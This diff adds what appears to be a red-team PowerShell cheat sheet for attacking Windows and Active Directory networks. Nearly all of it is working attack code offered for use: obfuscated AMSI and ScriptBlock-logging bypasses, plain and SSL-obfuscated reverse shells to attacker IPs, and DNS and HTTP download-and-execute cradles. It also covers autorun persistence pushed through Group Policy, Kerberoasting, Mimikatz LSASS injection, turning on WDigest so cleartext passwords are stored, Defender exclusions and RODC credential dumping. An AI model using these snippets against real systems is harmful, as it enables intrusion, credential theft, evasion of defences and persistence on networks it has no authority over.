|
|
|
@@ -0,0 +1,223 @@
|
|
|
|
|
- Ping Sweep
|
|
|
|
|
- `1..254 | % {"192.168.1.$($_): $(Test-Connection -count 1 -comp 192.168.1.$($_) -quiet)"}`
|
|
|
|
|
- Get ACLs of object (such as files and directories)
|
|
|
|
|
- `Get-Acl -Path C:\\ | Format-List`
|
|
|
|
|
- Mount remote share
|
|
|
|
|
- `New-PSDrive -name cthulhufhtagn -PSProvider "FileSystem" -Root "\\<attackerip>\cthulhufhtagn"`
|
|
|
|
|
- Searching directories recursively for cleartext credentials in files (GPP passwords for example)
|
|
|
|
|
- `pushd \\example.com\sysvol`
|
|
|
|
|
- `gci * -Include *.xml -Recurse -EA SilentlyContinue | select-string cpassword`
|
|
|
|
|
- `popd`
|
|
|
|
|
- Find services with unquoted paths
|
|
|
|
|
- `Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name`
|
|
|
|
|
- Download and execute payload without IEX or Invoke-WebRequest (a few options)
|
|
|
|
|
- `powershell . (nslookup -q=txt attacker.domain.com )[-1]`
|
|
|
|
|
- `powershell . (Resolve-DnsName attacker.domain.com -Type txt).Strings`
|
|
|
|
|
- AMSI Bypass
|
|
|
|
|
```Powershell
|
|
|
|
|
$Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru;
|
|
|
|
|
$ABSD = 'AmsiS'+'canBuffer';
|
|
|
|
|
$handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll');
|
|
|
|
|
[IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD);
|
|
|
|
|
```
|
|
|
|
|
```Powershell
|
|
|
|
|
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
|
|
|
|
|
```
|
|
|
|
|
```Powershell
|
|
|
|
|
[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
- Search for filenames
|
|
|
|
|
- `gci -Recurse -Force -Path C:\Users -Include "flag" -ErrorAction SilentlyContinue`
|
|
|
|
|
|
|
|
|
|
- Reverse shell one-liner
|
|
|
|
|
```PowerShell
|
|
|
|
|
$cthulhu = New-Object System.Net.Sockets.TCPClient('10.10.14.30',8443);$tntcl = $cthulhu.GetStream();[byte[]]$cult = 0..65535|%{0};while(($i = $tntcl.Read($cult, 0, $cult.Length)) -ne 0){;$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($cult,0, $i);$ex = (iex $d 2>&1 | Out-String );$ex2 = $ex + 'CF ' + (pwd).Path + '> ';$shog = ([text.encoding]::ASCII).GetBytes($ex2);$tntcl.Write($shog,0,$shog.Length);$tntcl.Flush()};
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
- DNS cradle
|
|
|
|
|
```PowerShell
|
|
|
|
|
$m= (-Join (Resolve-DnsName -Type txt pwn.domain.com).Strings);
|
|
|
|
|
IEX (([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($m))))
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
- Base64 the above:
|
|
|
|
|
- `iconv -f ASCII -t UTF-16LE powershellrev.txt | base64 | tr -d "\n"`
|
|
|
|
|
|
|
|
|
|
- Oneliner to send:
|
|
|
|
|
- `powershell -enc <encoded shell>`
|
|
|
|
|
|
|
|
|
|
- Obfuscated reverse shell - Must use with Socat encrypted shell listed in "Web Resources" section
|
|
|
|
|
```PowerShell
|
|
|
|
|
$gnlSlSXDZ = & ([string]::join('', ( ($(0+0-0-0-0-78+78+78),$(101+101+0-0-0-0-0+0-101),($(119)),$(0+0-0-0-0+45),$($(79)),$(((98))),($(106)),$(101+101+0-0-0-0-0+0-101),$(99+99+0-99),$($(116))) |ForEach-Object{$_<##>}|%{ ( [char][int] $_<#ZdQB8miMexFGoshJ4qKRp1#>)})) |ForEach-Object{<##>$($_)}| % {<#HWEG3yFVCbNOvfYute5#>$_<#o#>}) ([string]::join('', ( ($(83+83+0+0+0-0-83),$(((121))),((115)),$($(116)),$(101+101+0-0-0-0-0+0-101),(($(109))),(46),$(0+0-0-0-0-78+78+78),$(101+101+0-0-0-0-0+0-101),$($(116)),(46),$(83+83+0+0+0-0-83),$(0+0+0+0+111),$(99+99+0-99),(107),$(101+101+0-0-0-0-0+0-101),$($(116)),((115)),(46),(84),($(67)),$(80),($(67)),$(0-0+0-108+108+108),$(0+105),$(101+101+0-0-0-0-0+0-101),(110),$($(116))) |ForEach-Object{$($_)<##>}|%{ ( [char][int] <##>$($_)<##>)})) |ForEach-Object{<#FLut3kIYDMAyO9a2hEH0zQJ4w#>$_<#WI8r#>}| % {<#OjUEN8nkxf#>$($_)})("J5q0aMgvL.xAeq3T8MEcL6sRaXUrOZ.SHUZv12CgW0es7xPkJmtFo.CbYjgiDaIe7GWdPs".replace('CbYjgiDaIe7GWdPs',DDDDDDDD).replace('SHUZv12CgW0es7xPkJmtFo',CCCCCCCC).replace('J5q0aMgvL',AAAAAAAA).replace('xAeq3T8MEcL6sRaXUrOZ',BBBBBBBB),$(EEEEEEEE));$fU4QP = $gnlSlSXDZ.GetStream();$h1okj42 = New-Object System.Net.Security.SslStream($fU4QP,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]));$h1okj42.AuthenticateAsClient('FFFFFFFF', $null, "Tls12", $false);$nf1083fj = new-object System.IO.StreamWriter($h1okj42);$nf1083fj.Write('PS ' + (pwd).Path + '> ');$nf1083fj.flush();[byte[]]$h8r109 = 0..65535|%{0};while(($nf839nf = $h1okj42.Read($h8r109, 0, $h8r109.Length)) -ne 0){$nr81of = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($h8r109,0, $nf839nf);$ngrog49 = (iex $nr81of | Out-String ) 2>&1;$nir1048 = $ngrog49 + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($nir1048);$h1okj42.Write($sendbyte,0,$sendbyte.Length);$h1okj42.Flush()};
|
|
|
|
|
```
|
|
|
|
|
- AAAAAAAA == 1st octet of LHOST
|
|
|
|
|
- BBBBBBBB == 2nd octet of LHOST
|
|
|
|
|
- CCCCCCCC == 3rd octet of LHOST
|
|
|
|
|
- DDDDDDDD == 4th octet of LHOST
|
|
|
|
|
- EEEEEEEE == LPORT
|
|
|
|
|
- FFFFFFFF == Domain to auth as (doesn't really matter, use something that looks like theirs)
|
|
|
|
|
- Check for CLM
|
|
|
|
|
- `$ExecutionContext.SessionState.LanguageMode`
|
|
|
|
|
- Get NETBIOS Domain Name
|
|
|
|
|
- `powerpick (gwmi Win32_NTDomain).DomainName`
|
|
|
|
|
- Runas
|
|
|
|
|
- `$user = 'MINION\Administrator';`
|
|
|
|
|
- `$password = '1234test';`
|
|
|
|
|
- `$secpass = ConvertTo-SecureString $password -AsPlainText -Force;`
|
|
|
|
|
- `$credential = New-Object System.Management.Automation.PSCredential $user, $secpass;`
|
|
|
|
|
- `Invoke-Command -Computername localhost -Credential $credential -ScriptBlock { cd C:\Users\Administrator\Desktop; C:\Users\Administrator\Desktop\root.exe }`
|
|
|
|
|
- Similar:
|
|
|
|
|
```PowerShell
|
|
|
|
|
$pw = ConvertTo-SecureString -AsPlainText -Force -String "Admin1234!"
|
|
|
|
|
$cred = New-Object -typename System.Management.Automation.PSCredential -argumentlist "contoso\Administrator",$pw
|
|
|
|
|
$session = New-PSSession -ComputerName dc01 -Credential $cred
|
|
|
|
|
Invoke-Command -Session $session -ScriptBlock {hostname}
|
|
|
|
|
Enter-PSSession -Session $session
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
- Give current user DCSync rights
|
|
|
|
|
- `Add-DomainObjectAcl -Rights DCSync`
|
|
|
|
|
- Convert command to encoded string:
|
|
|
|
|
- `$str = "IEX ((new-object net.webclient).downloadstring('http://10.8.0.6:80/http-beacon'))"`
|
|
|
|
|
- `[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))`
|
|
|
|
|
- Encode a payload:
|
|
|
|
|
```PowerShell
|
|
|
|
|
if ($args.count -ne 1) { Write-Host "Too many args" }
|
|
|
|
|
else {
|
|
|
|
|
"String to encode: " + $Args[0]
|
|
|
|
|
"Encoded: "
|
|
|
|
|
$str = $Args[0]
|
|
|
|
|
$encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))
|
|
|
|
|
write-host $encoded
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
- Group Policy
|
|
|
|
|
- Create a new, empty GPO
|
|
|
|
|
- `New-GPO`
|
|
|
|
|
- Link a GPO to a site, domain, or OU
|
|
|
|
|
- `New-GPLink`
|
|
|
|
|
- Configures a Registry preference item under either HKCU or HKLM
|
|
|
|
|
- `Set-GPPrefRegistryValue`
|
|
|
|
|
- Configure registry-based policy settings under HKCU or HKLM
|
|
|
|
|
- `Set-GPRegistryValue`
|
|
|
|
|
- Generate GPO report in XML or HTML
|
|
|
|
|
- `Get-GPOReport`
|
|
|
|
|
- Example exploitation:
|
|
|
|
|
- Create a new GPO and link to an OU over which you have permissions
|
|
|
|
|
- `New-GPO -Name 'Cthulhu GPO' | New-GPLink -Target 'OU=3268,OU=Workstations,DC=cyberbotic,DC=io'`
|
|
|
|
|
- Write an autorun Registry key to machines in that OU
|
|
|
|
|
- `Set-GPPrefRegistryValue -Name 'Cthulhu GPO' -Context Computer -Action Create -Key 'HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -ValueName 'Updater' -Value 'powershell -w 1 -c "iex (new-object net.webclient).downloadstring(''http://10.8.0.6/HTTPGrunt.ps1'')"' -Type ExpandString`
|
|
|
|
|
- Targetted Kerberoast (possible if we have GenericAll permissions on a user)
|
|
|
|
|
- `Set-DomainObject -Identity jadams -Set @{serviceprincipalname="fake/NOTHING"}`
|
|
|
|
|
- `Get-DomainUser -Identity jadams -Properties ServicePrincipalName`
|
|
|
|
|
- `execute-assembly C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe kerberoast /user:jadams /nowrap`
|
|
|
|
|
- Targetted ASREPRoasting
|
|
|
|
|
- `Get-DomainUser -Identity jadams | ConvertFrom-UACValue`
|
|
|
|
|
- `Set-DomainObject -Identity jadams -XOR @{UserAccountControl=4194304}`
|
|
|
|
|
- `Get-DomainUser -Identity jadams | ConvertFrom-UACValue`
|
|
|
|
|
- `execute-assembly C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe asreproast /user:jadams /nowrap`
|
|
|
|
|
- `powershell Set-DomainObject -Identity jadams -XOR @{UserAccountControl=4194304}`
|
|
|
|
|
- `powershell Get-DomainUser -Identity jadams | ConvertFrom-UACValue`
|
|
|
|
|
- Read LAPS admin password
|
|
|
|
|
- `Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd`
|
|
|
|
|
- Enumerate exclusions
|
|
|
|
|
- `Get-MpPreference | select Exclusion*`
|
|
|
|
|
- `Parse-PolFile .\Registry.pol`
|
|
|
|
|
- Add exclusion
|
|
|
|
|
- `Set-MpPreference -ExclusionPath "<path>"`
|
|
|
|
|
- Find Shares
|
|
|
|
|
- `Find-DomainShare [-CheckShareAccess]`
|
|
|
|
|
- Ping an IP range
|
|
|
|
|
- `1..254 | %{echo "10.0.2.$_"; ping -n 1 10.0.2.$_ | Select-String ttl}`
|
|
|
|
|
- Port Scan an IP
|
|
|
|
|
- `1..1024 | %{echo ((New-Object Net.Sockets.TcpClient).Connect("10.0.2.8", $_)) "Open port on - $_"} 2>$null`
|
|
|
|
|
- LOL Kerberoast
|
|
|
|
|
- Single SPN: `Add-Type -AssemblyName System.IdentityModel; New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "<SPN>"`
|
|
|
|
|
- Mimikatz in memory w/ LSASS Injection
|
|
|
|
|
- `Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject"' -Computer dc03.prod.local`
|
|
|
|
|
- Turn on WDigest to force storing of cleartext passwords in LSASS
|
|
|
|
|
- `Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' -Name "UseLogonCredential" -Value '1'`
|
|
|
|
|
- Copy proxy settings from valid user for SYSTEM download cradle
|
|
|
|
|
```PowerShell
|
|
|
|
|
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null
|
|
|
|
|
$keys = Get-ChildItem 'HKU:\'
|
|
|
|
|
ForEach ($key in $keys) {if ($key.Name -like "*S-1-5-21-*") {$start =
|
|
|
|
|
$key.Name.substring(10);break}}
|
|
|
|
|
$proxyAddr=(Get-ItemProperty -Path
|
|
|
|
|
"HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings\").ProxyServer[system.net.webrequest]::DefaultWebProxy = new-object
|
|
|
|
|
System.Net.WebProxy("http://$proxyAddr")
|
|
|
|
|
$wc = new-object system.net.WebClient
|
|
|
|
|
$wc.DownloadString("http://192.168.119.120/run2.ps1")
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
- Dynamic DNS
|
|
|
|
|
- `Invoke-DNSUpdate -DNSType A -DNSName test -DNSData 192.168.100.100 -Verbose`
|
|
|
|
|
|
|
|
|
|
- Lateral Movement
|
|
|
|
|
- DCOM
|
|
|
|
|
- `$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate("c:\windows\system32\calc.exe")`
|
|
|
|
|
- `$([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","acmedc.acme.int"))).Navigate2("c:\windows\system32\calc.exe")`
|
|
|
|
|
- `$a=[System.Activator]::CreateInstance([type]::GetTypeFromProgID('MMC20.Application.1','127.0.0.1'));$a.Document.ActiveView.ExecuteShellCommand('cmd',$null,'/c echo Cthulhu fhtagn! > C:\hi.txt','7')`
|
|
|
|
|
|
|
|
|
|
- Enable RestrictedAdmin
|
|
|
|
|
- `New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0`
|
|
|
|
|
|
|
|
|
|
- Enumerate forest trusts
|
|
|
|
|
- `([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRel ationships()`
|
|
|
|
|
|
|
|
|
|
- Enumerate Read-Only Domain Controllers (RODCs) with passwords currently cached.
|
|
|
|
|
- `(Get-AdComputer -Identity RODC -Properties 'msDS-RevealedList').'msDS-RevealedList'`
|
|
|
|
|
- Accounts like "krbtgt_12345" are related to the RODC (meant to be compromised) and are therefore useless
|
|
|
|
|
|
|
|
|
|
- Retrieve cached credentials from RODC
|
|
|
|
|
- `net ads search -k -S ad.local '(samaccountname=RODC$)' managedBy`
|
|
|
|
|
- Find principals with local admin on RODC
|
|
|
|
|
- `secretsdump.py <local admin>@rodc.ad.local -use-vss`
|
|
|
|
|
- The NTDS will contain all users, but non-cached ones will have a null password shown by the hash "31d6cfe0d16ae931b73c59d7e0c089c0"
|
|
|
|
|
|
|
|
|
|
- Enumerate a user for a fine-grained password policy
|
|
|
|
|
- `(Get-AdUser -Identity <username> -Properties 'msDS-ResultantPso'). 'msDS-ResultantPso'`
|
|
|
|
|
- An empty reply means that the default domain-wide policy is used
|
|
|
|
|
- If non-empty...
|
|
|
|
|
- `(Get-AdObject -SearchBase 'CN=Password Settings Container, CN=System, DC=ad, DC=local' -LdapFilter 'CN=<CN-from-above>' -Properties *).'msDS-MinimumPasswordLength'`
|
|
|
|
|
|
|
|
|
|
- Enumerate Service Connection Points (SCPs) - hosted services in the environment
|
|
|
|
|
- `(Get-AdObject -LdapFilter '(serviceBindingInformation=*)' -Properties *).serviceBindingInformation`
|
|
|
|
|
|
|
|
|
|
- Enumerate implicit SPNs
|
|
|
|
|
- `(Get-Adobject -SearchBase 'CN=Windows NT, CN=Services, CN=Configuration, DC=ad, DC=local" - LdapFilter 'CN=Directory Service' - Properties *). SPNMappings`
|
|
|
|
|
- "host=" signifies that when an object has at least one explicit HOST SPN set, it will also implicitly have all of the SPNs contained here
|
|
|
|
|
|
|
|
|
|
- LSASS as a protected process
|
|
|
|
|
- Enumerate
|
|
|
|
|
- `Get-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name "RunAsPPL"`
|
|
|
|
|
- Bypass
|
|
|
|
|
- PPLDump
|
|
|
|
|
- Nanodump
|
|
|
|
|
|
|
|
|
|
- Execute .NET assembly in memory without touching disk, using reflection:
|
|
|
|
|
1. `$d = (New-Object http://System.Net.WebClient).DownloadData('http://<ip>/Rubeus.exe')`
|
|
|
|
|
2. `$a = [System.Reflection.Assembly]::Load($d)`
|
|
|
|
|
3. `[Rubeus.Program]::Main("triage".Split())`
|
|
|
|
|
|
|
|
|
|
- Target acquisition
|
|
|
|
|
- Local DNS cache
|
|
|
|
|
- `ipconfig /displaydns`
|
|
|
|
|
- `Get-DNSClientCache`
|
|
|
|
|
- Query network DNS server for entries
|
|
|
|
|
- `Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>`
|
|
|
|
|
- Output to a file: `Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname> | % {Add-Content -Value $_ -Path records.txt}`
|
|
|
|
|
- `Get-CimInstance -Namespace Root\MicrosoftDNS -Query "SELECT * FROM MicrosoftDNS_AType WHERE ContainerName='rlyeh.local'"`
|
|
|
|
|
- mDNS
|
|
|
|
|
- Sapito (see References/Repos)
|
|
|
|
|
|
|
|
|
|
- ScriptBlock logging bypass
|
|
|
|
|
```PowerShell
|
|
|
|
|
$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
|
|
|
|
|
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
|
|
|
|
|
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
|
|
|
|
|
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
|
|
|
|
|
iex (New-Object Net.WebClient).downloadstring("https://myserver/mypayload.ps1")
|
|
|
|
|
```
|
